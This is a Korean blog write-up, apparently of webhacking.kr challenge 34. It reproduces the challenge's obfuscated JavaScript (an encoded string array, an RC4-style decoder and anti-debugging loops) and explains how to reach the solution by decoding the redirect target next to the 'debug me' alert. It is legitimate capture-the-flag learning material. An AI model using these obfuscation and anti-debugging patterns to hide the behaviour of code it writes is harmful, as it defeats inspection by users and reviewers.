F=H(b('0xd','iWKi'));if(!D[b('0xe','ho]6')](F+b('0xf','RLUb'))||!E[b('0x10','X!$R')](F+b('0x11','RUTX'))){if(b('0x12','J[i1')===b('0x13','Pa4(')){F('0');}else{(function(){return!![];}[b('0x14','kK4Z')](b('0x15','X!$R')+b('0x16','llaF'))[b('0x17','3R^0')](b('0x18','iUmC')));}}else{H();}})();}());setInterval(function(){H();},0xfa0);if(location[b('0x19','iUmC')][b('0x1a','6]r1')](0x1)==b('0x1b','RLUb'))location[b('0x1c','4c%d')]=b('0x1d','llaF');else alert(b('0x1e','14cN'));function H(I){function J(K){if(b('0x1f','oYXf')!==b('0x20','ho]6')){return J;}else{if(typeof K==='string'){return function(M){}[b('0x21','2@LG')](b('0x22','joDm'))[b('0x23','iUmC')](b('0x24','llaF'));}else{if('thtMU'===b('0x25','Am%6')){if((''+K/K)[b('0x26','RLUb')]!==0x1||K%0x14===0x0){if(b('0x27','2@LG')!==b('0x28','bO4C')){return!![];}else{(function(){return!![];}[b('0x29','RLUb')](b('0x2a','ln]I')+b('0x2b','3R^0'))['call'](b('0x2c','c3hQ')));}}else{(function(){return![];}[b('0x2d','Am%6')](b('0x2e','14cN')+b('0x2f','$ybZ'))[b('0x30','Am%6')](b('0x31','O!T!')));}}else{H();}}J(++K);}}try{if(I){return J;}else{J(0x0);}}catch(P){}}
</script>
</head>
<body bgcolor="black">



문제 파일 이쁘게 만들기 후~

<html>
<head>
<title>Challenge 34</title>
<script>
var a = ['RcOhTDV1Ew==', 'McOVwqpRBg==', 'c8K/w43DvcK8', 'SsOrTCF1CVDCgcKLEsKc', 'NsK/w4Bc', 'G1TDpwk=', 'AcKtwqfDlW7Dsw==', 'e3kkcQJfwoNFDEU9', 'QMOXDBo=', 'w5bCsWlh', 'eWY6bg8=', 'FnbDoEvDtl1LUkB7w4Q=', 'esOZTiPDsg==', 'bzfCkFfCtA==', 'ZmzDjHcn', 'PxLCm3LDvA==', 'IcKlVy9pw57DgMK3w6kmwpvCiUnDhcOKw4A=', 'LMKnwqECawEeEMOZQsK7wrLCscKpSG1AwqvDvjnDpMKhOSDCqQfDmVRowo1nwpzCh8OGc1vDv3cKVR/CgMK4w7PCukbCv8O8woNHXcK7SsOmMhHDnUEJw4lsw6g=', 'wrTDnltl', 'UMOXHRs=', 'Tz0lw48=', 'O8K0w5JcwrA=', 'w5DCpnx/LA==', 'HsKrS8KVQw==', 'dcKvfnkhUQ3DncOFIsOew5lHwr7CjcKYAsOuwrc3UjhfwopNwqwuWcOjw4PDrkIRWAfCnSIdw5jDtsKyWFBMwq4YMQvDhRrCrlBlw71LUR5HGMKwEBs=', 'w4RAw5xg', 'RkQSNA==', 'SsOsQztv', 'wonDvMOwwow=', 'wovDlMKvw5nCog==', 'w73Ch8K5VcK/', 'wpN7HsOMwpI=', 'w5/CuMKDacOKPcKoB3jDomQ=', 'wpnDvMOhwo0=', 'wp4xwrvDvA==', 'H1LDrhc=', 'wo86woHDm37Dow==', 'woY4wobDmg==', 'wr/CgMKQNcOo', 'ecOlUSF2S3fCsMKbGQ==', 'E3nCrcKe', 'w5d5w6HDnsOFw7RcRFjDosKsZ8OHEcOv', 'QMOXDBrCrcKLwp3DvA==', 'w5fDsiPDrsOf', 'V3c3A0Q=', 'E8OjwpNaP1lDTMKXcsO5', 'G08JPDZMw5s8w4ITw54dEMKAwps=', 'wo8pwoXDnmg=', 'wpo5wqvDoMOQw6Jd', 'bH4+TyM='];
(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    var g = function() {
        var h = {
            'data': {
                'key': 'cookie',
                'value': 'timeout'
            },
            'setCookie': function(i, j, k, l) {
                l = l || {};
                var m = j + '=' + k;
                var n = 0x0;
                for (var n = 0x0, p = i['length']; n < p; n++) {
                    var q = i[n];
                    m += ';\x20' + q;
                    var r = i[q];
                    i['push'](r);
                    p = i['length'];
                    if (r !== !![]) {
                        m += '=' + r;
                    }
                }
                l['cookie'] = m;
            },
            'removeCookie': function() {
                return 'dev';
            },
            'getCookie': function(s, t) {
                s = s || function(u) {
                    return u;
                };
                var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
                var w = function(x, y) {
                    x(++y);
                };
                w(e, d);
                return v ? decodeURIComponent(v[0x1]) : undefined;
            }
        };
        var z = function() {
            var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
            return A['test'](h['removeCookie']['toString']());
        };
        h['updateCookie'] = z;
        var B = '';
        var C = h['updateCookie']();
        if (!C) {
            h['setCookie'](['*'], 'counter', 0x1);
        } else if (C) {
            B = h['getCookie'](null, 'counter');
        } else {
            h['removeCookie']();
        }
    };
    g();
}(a, 0xa2));
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['clOwyu'] === undefined) {
        (function() {
            var f = function() {
                var g;
                try {
                    g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                } catch (h) {
                    g = window;
                }
                return g;
            };
            var i = f();
            var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            i['atob'] || (i['atob'] = function(k) {
                var l = String(k)['replace'](/=+$/, '');
                for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? q += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) {
                    o = j['indexOf'](o);
                }
                return q;
            });
        }());
        var r = function(s, d) {
            var u = [],
                v = 0x0,
                w, x = '',
                y = '';
            s = atob(s);
            for (var z = 0x0, A = s['length']; z < A; z++) {
                y += '%' + ('00' + s['charCodeAt'](z)['toString'](0x10))['slice'](-0x2);
            }
            s = decodeURIComponent(y);
            for (var B = 0x0; B < 0x100; B++) {
                u[B] = B;
            }
            for (B = 0x0; B < 0x100; B++) {
                v = (v + u[B] + d['charCodeAt'](B % d['length'])) % 0x100;
                w = u[B];
                u[B] = u[v];
                u[v] = w;
            }
            B = 0x0;
            v = 0x0;
            for (var C = 0x0; C < s['length']; C++) {
                B = (B + 0x1) % 0x100;
                v = (v + u[B]) % 0x100;
                w = u[B];
                u[B] = u[v];
                u[v] = w;
                x += String['fromCharCode'](s['charCodeAt'](C) ^ u[(u[B] + u[v]) % 0x100]);
            }
            return x;
        };
        b['wxbdQn'] = r;
        b['ZjQald'] = {};
        b['clOwyu'] = !![];
    }
    var D = b['ZjQald'][c];
    if (D === undefined) {
        if (b['XvSLaK'] === undefined) {
            var E = function(F) {
                this['swkpev'] = F;
                this['DGOTpS'] = [0x1, 0x0, 0x0];
                this['zlbdZJ'] = function() {
                    return 'newState';
                };
                this['KCuPKs'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
                this['AnZPoE'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
            };
            E['prototype']['DCDTIR'] = function() {
                var G = new RegExp(this['KCuPKs'] + this['AnZPoE']);
                var H = G['test'](this['zlbdZJ']['toString']()) ? --this['DGOTpS'][0x1] : --this['DGOTpS'][0x0];
                return this['ZjMdYn'](H);
            };
            E['prototype']['ZjMdYn'] = function(I) {
                if (!Boolean(~I)) {
                    return I;
                }
                return this['LqSTke'](this['swkpev']);
            };
            E['prototype']['LqSTke'] = function(J) {
                for (var K = 0x0, L = this['DGOTpS']['length']; K < L; K++) {
                    this['DGOTpS']['push'](Math['round'](Math['random']()));
                    L = this['DGOTpS']['length'];
                }
                return J(this['DGOTpS'][0x0]);
            };
            new E(b)['DCDTIR']();
            b['XvSLaK'] = !![];
        }
        e = b['wxbdQn'](e, d);
        b['ZjQald'][c] = e;
    } else {
        e = D;
    }
    return e;
};
var e = function() {
    var c = !![];
    return function(d, e) {
        var f = c ? function() {
            if (e) {
                var g = e['apply'](d, arguments);
                e = null;
                return g;
            }
        } : function() {};
        c = ![];
        return f;
    };
}();
var Q = e(this, function() {
    var c = function() {
            return '\x64\x65\x76';
        },
        d = function() {
            return '\x77\x69\x6e\x64\x6f\x77';
        };
    var e = function() {
        var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
        return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var g = function() {
        var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
        return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var i = function(j) {
        var k = ~-0x1 >> 0x1 + 0xff % 0x0;
        if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
            l(j);
        }
    };
    var l = function(m) {
        var n = ~-0x4 >> 0x1 + 0xff % 0x0;
        if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
            i(m);
        }
    };
    if (!e()) {
        if (!g()) {
            i('\x69\x6e\x64\u0435\x78\x4f\x66');
        } else {
            i('\x69\x6e\x64\x65\x78\x4f\x66');
        }
    } else {
        i('\x69\x6e\x64\u0435\x78\x4f\x66');
    }
});
Q();
var q = function() {
    var r = !![];
    return function(s, t) {
        var u = r ? function() {
            if (b('0x0', 'hezG') !== b('0x1', 'A6hd')) {
                if (t) {
                    if (b('0x2', 'G(vo') === b('0x3', 'K*$C')) {
                        q(this, function() {
                            var j = new RegExp(b('0x4', '$VvG'));
                            var k = new RegExp(b('0x5', '2@LG'), 'i');
                            var l = H(b('0x6', 'k(C)'));
                            if (!j[b('0x7', '14cN')](l + 'chain') || !k[b('0x8', 'aEot')](l + b('0x9', 'ln]I'))) {
                                l('0');
                            } else {
                                H();
                            }
                        })();
                    } else {
                        var z = t[b('0xa', '$ybZ')](s, arguments);
                        t = null;
                        return z;
                    }
                }
            } else {
                var f = r ? function() {
                    if (t) {
                        var g = t[b('0xb', 'C%Xw')](s, arguments);
                        t = null;
                        return g;
                    }
                } : function() {};
                r = ![];
                return f;
            }
        } : function() {};
        r = ![];
        return u;
    };
}();
(function() {
    q(this, function() {
        var D = new RegExp('function\x20*\x5c(\x20*\x5c)');
        var E = new RegExp(b('0xc', 'RLUb'), 'i');
        var F = H(b('0xd', 'iWKi'));
        if (!D[b('0xe', 'ho]6')](F + b('0xf', 'RLUb')) || !E[b('0x10', 'X!$R')](F + b('0x11', 'RUTX'))) {
            if (b('0x12', 'J[i1') === b('0x13', 'Pa4(')) {
                F('0');
            } else {
                (function() {
                    return !![];
                } [b('0x14', 'kK4Z')](b('0x15', 'X!$R') + b('0x16', 'llaF'))[b('0x17', '3R^0')](b('0x18', 'iUmC')));
            }
        } else {
            H();
        }
    })();
}());
setInterval(function() {
    H();
}, 0xfa0);
if (location[b('0x19', 'iUmC')][b('0x1a', '6]r1')](0x1) == b('0x1b', 'RLUb')) location[b('0x1c', '4c%d')] = b('0x1d', 'llaF');
else alert(b('0x1e', '14cN'));

function H(I) {
    function J(K) {
        if (b('0x1f', 'oYXf') !== b('0x20', 'ho]6')) {
            return J;
        } else {
            if (typeof K === 'string') {
                return function(M) {} [b('0x21', '2@LG')](b('0x22', 'joDm'))[b('0x23', 'iUmC')](b('0x24', 'llaF'));
            } else {
                if ('thtMU' === b('0x25', 'Am%6')) {
                    if (('' + K / K)[b('0x26', 'RLUb')] !== 0x1 || K % 0x14 === 0x0) {
                        if (b('0x27', '2@LG') !== b('0x28', 'bO4C')) {
                            return !![];
                        } else {
                            (function() {
                                return !![];
                            } [b('0x29', 'RLUb')](b('0x2a', 'ln]I') + b('0x2b', '3R^0'))['call'](b('0x2c', 'c3hQ')));
                        }
                    } else {
                        (function() {
                            return ![];
                        } [b('0x2d', 'Am%6')](b('0x2e', '14cN') + b('0x2f', '$ybZ'))[b('0x30', 'Am%6')](b('0x31', 'O!T!')));
                    }
                } else {
                    H();
                }
            }
            J(++K);
        }
    }
    try {
        if (I) {
            return J;
        } else {
            J(0x0);
        }
    } catch (P) {}
}
</script>
</head>
<body bgcolor="black">


위의 코드에서 절망을 느끼시면 안 됩니다.


차근차근 합시다.


일단, 처음에 debug me 라고 alert 함수가 띄워졌던 것을 눈치채셨을 것입니다.

그렇다면, alert() 함수가 있는 곳을 먼저 찾아보도록 합시다.


아래와 같이 한 군데 밖에 찾질 못했습니다.


setInterval(function() {
    H();
}, 0xfa0);
if (location[b('0x19', 'iUmC')][b('0x1a', '6]r1')](0x1) == b('0x1b', 'RLUb')) location[b('0x1c', '4c%d')] = b('0x1d', 'llaF');
else alert(b('0x1e', '14cN'));


흠.... 값을 조작하기 위한 조건이 어떤 건지 잘 이해가 안 갑니다.

대략적으로 분석해보니, if문일 때는 alert가 없습니다.


그러면 일반적일 때는 if문 내부가 동작하지 않고, else가 동작하는 것으로 보입니다.

그렇다면 else 부분이 debug me를 출력하는 alert 구문이라고 했을 때, if문에서 가지고 있는 b('0x1d', 'llaF') 이녀석은 무엇일지 살펴보았습니다.


호오?


풀이 끝




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31

+ Recent posts